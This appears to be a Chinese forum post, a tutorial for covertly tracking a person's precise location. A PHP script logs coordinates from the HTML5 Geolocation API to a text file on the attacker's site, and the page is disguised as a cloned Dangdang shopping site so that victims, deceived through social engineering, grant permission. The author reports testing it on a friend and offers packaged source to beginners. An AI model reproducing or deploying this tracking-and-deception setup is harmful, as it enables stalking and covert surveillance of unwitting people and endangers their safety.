本帖最后由 sssssssz 于 2017-6-6 10:56 编辑
总所周知,我们的IP定位也只是定位公网IP,精准度顶多在300-100米, 甚至有些时候不能很好的获取对方的位置, 以下的的技术,我自己试了,精准度在50以内
此技术利用了HTML5 Geolocation API
直接调用方法即可,即使是4G网页可以精准定位
最原始代码如下,我自己加了一些
现在编写index.php页面代码 然后来写接受页面 geolocation2.php 的代码
- <?php
-
- @$time=date('Y-m-d H:i:s',time()); //获取当前时间
-
- $nowLatitude="纬度 ".$_POST['username']; //接受上个页面传过来的参数(经度坐标)
-
- $nowlongitude="经度 ".$_POST['password']." ------时间是".$time."\r\n";; //接受上个页面传过来的参数(纬度坐标)
-
- $fp=fopen("geo.txt", "a+"); //创建一个geo.txt文件
-
- fwrite($fp, $nowLatitude); //把经度写入到geo.txt里
-
- fwrite($fp, $nowlongitude); //把纬度写入到geo.txt里
-
-
-
-
-
-
-
- ?>
复制代码
注意点:对方必须点击授权以后才能拿到对方的经度纬度(这个缺点可以结合社工实现)
现在来做个小测试 假设让对方访问 让对方访问我们的站点,他的页面上会显示 它自己的经度,纬度,并且经度纬度会保存在我们的站点数据里
然后我们的站点上生成了一个geo.txt文件
打开geo.txt
对方的经度纬度已经写入
现在我们打开
把经度纬度写上去
给我朋友做的测试,它的确在这里,精准度50米
现在来完善上面的缺点
就是去网上扒一个购物网站的源码,把源码复制在index.php里
图如下,我把网站源码修改成当当网的了
这样就能精准的获取到他的地址位置~~~(自己试了,超爽的~)
如果你是小白,什么都不懂,我已经把源码打包好了,你只需要把代码放在你站点上即可希望大家多多支持,如果大家觉得还不错,我会继续讲,只要一旦获取到别人的经度纬度,立刻会发送他们的位置到我们的邮箱里~ 不过关于定时发送邮件的技术要一些linux基础~
|